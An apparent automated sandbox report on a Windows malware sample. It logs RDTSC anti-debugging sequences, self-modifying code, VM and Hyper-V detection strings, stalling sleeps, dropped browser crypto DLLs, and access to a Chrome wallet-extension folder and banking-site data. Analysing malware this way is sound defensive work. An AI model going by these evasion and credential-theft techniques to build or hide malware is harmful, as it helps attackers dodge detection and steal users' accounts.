Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A50D09 second address: 4A50D0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A50A7F second address: 4A50AA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0801h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3460CF07FDh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A50AA4 second address: 4A50B30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB971h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F3460BFB971h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 push esi 0x00000012 mov edi, 722B6E0Eh 0x00000017 pop ebx 0x00000018 pushfd 0x00000019 jmp 00007F3460BFB974h 0x0000001e sbb cx, 2D58h 0x00000023 jmp 00007F3460BFB96Bh 0x00000028 popfd 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c pushad 0x0000002d call 00007F3460BFB96Bh 0x00000032 movzx eax, dx 0x00000035 pop edi 0x00000036 popad 0x00000037 pop ebp 0x00000038 pushad 0x00000039 pushad 0x0000003a mov cl, 21h 0x0000003c mov ebx, 2A20EEFCh 0x00000041 popad 0x00000042 call 00007F3460BFB975h 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AD0066 second address: 4AD00BA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3460CF07FAh 0x00000008 and ecx, 1595B7D8h 0x0000000e jmp 00007F3460CF07FBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F3460CF0806h 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F3460CF0807h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AD00BA second address: 4AD00D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3460BFB974h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AD00D2 second address: 4AD00D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AD00D6 second address: 4AD00E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AD00E5 second address: 4AD00E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AD00E9 second address: 4AD00EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 102CE58 second address: 102CE5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC0446 second address: 4AC0456 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3460BFB96Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC0456 second address: 4AC0491 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF07FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F3460CF0809h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3460CF07FDh 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC0491 second address: 4AC04B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov ecx, 5626711Fh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3460BFB971h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC04B4 second address: 4AC04F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3460CF0807h 0x00000009 or si, 9ECEh 0x0000000e jmp 00007F3460CF0809h 0x00000013 popfd 0x00000014 push eax 0x00000015 pop edi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop ebp 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC02A8 second address: 4AC02D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB96Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3460BFB975h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC02D0 second address: 4AC0302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0801h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3460CF0808h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC0302 second address: 4AC0306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC0306 second address: 4AC030C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC030C second address: 4AC031D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3460BFB96Dh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A50F9A second address: 4A50FB7 instructions: 0x00000000 rdtsc 0x00000002 mov bl, ch 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a mov bx, 80D2h 0x0000000e push edx 0x0000000f pop eax 0x00000010 popad 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov ax, 25C9h 0x00000019 mov dx, ax 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC06E1 second address: 4AC076F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB976h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F3460BFB970h 0x0000000f push eax 0x00000010 jmp 00007F3460BFB96Bh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F3460BFB974h 0x0000001d add eax, 2FC173B8h 0x00000023 jmp 00007F3460BFB96Bh 0x00000028 popfd 0x00000029 jmp 00007F3460BFB978h 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 jmp 00007F3460BFB96Dh 0x00000039 mov ch, ABh 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC076F second address: 4AC0775 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC0775 second address: 4AC0779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC0779 second address: 4AC07AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0804h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3460CF0807h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC07AF second address: 4AC07B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC07B4 second address: 4AC07F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c jmp 00007F3460CF0807h 0x00000011 call 00007F3460CF07F9h 0x00000016 pushad 0x00000017 mov bx, cx 0x0000001a mov ecx, 6615C567h 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC07F1 second address: 4AC07F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC07F5 second address: 4AC07FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC07FB second address: 4AC0801 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC0801 second address: 4AC0805 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC0805 second address: 4AC081A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx ebx, ax 0x00000012 push esi 0x00000013 pop ebx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC081A second address: 4AC0832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3460CF0804h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC0832 second address: 4AC0836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC0836 second address: 4AC0859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b movzx esi, dx 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3460CF07FCh 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AC0859 second address: 4AC0868 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB96Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Special instruction interceptor: First address: 101CDF7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Special instruction interceptor: First address: E7C186 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Special instruction interceptor: First address: 104BEE7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Special instruction interceptor: First address: 102743C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Special instruction interceptor: First address: E7E849 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: BECDF7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: A4C186 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: C1BEE7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: BF743C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: A4E849 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe

Code function: 17_2_04AC07E0 rdtsc

17_2_04AC07E0

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 7614	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 2386	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: foregroundWindowGot 409	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1048	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 467	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1001	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\mozglue[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.7 %

Source: C:\Users\user\Desktop\file.exe TID: 4636	Thread sleep count: 267 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8160	Thread sleep count: 1015 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8160	Thread sleep time: -2031015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8164	Thread sleep count: 890 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8164	Thread sleep time: -1780890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8144	Thread sleep count: 1048 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8144	Thread sleep time: -2097048s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8124	Thread sleep count: 467 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8124	Thread sleep time: -14010000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 3964	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8140	Thread sleep count: 1001 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8140	Thread sleep time: -2003001s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CDBC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CDBC930

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1436568097.0000000001B26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: EBAEBFII.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.15.dr	Binary or memory string: vmci.sys
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: EBAEBFII.0.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: vmware
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: EBAEBFII.0.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: explorti.exe, 00000013.00000002.3725431157.0000000001460000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWHvJ
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.15.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.15.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.15.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.15.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.15.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: EBAEBFII.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: EBAEBFII.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: explorti.exe, explorti.exe, 0000001B.00000002.3284119133.0000000000BD0000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: EBAEBFII.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Amcache.hve.15.dr	Binary or memory string: VMware Virtual USB Mouse
Source: EBAEBFII.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
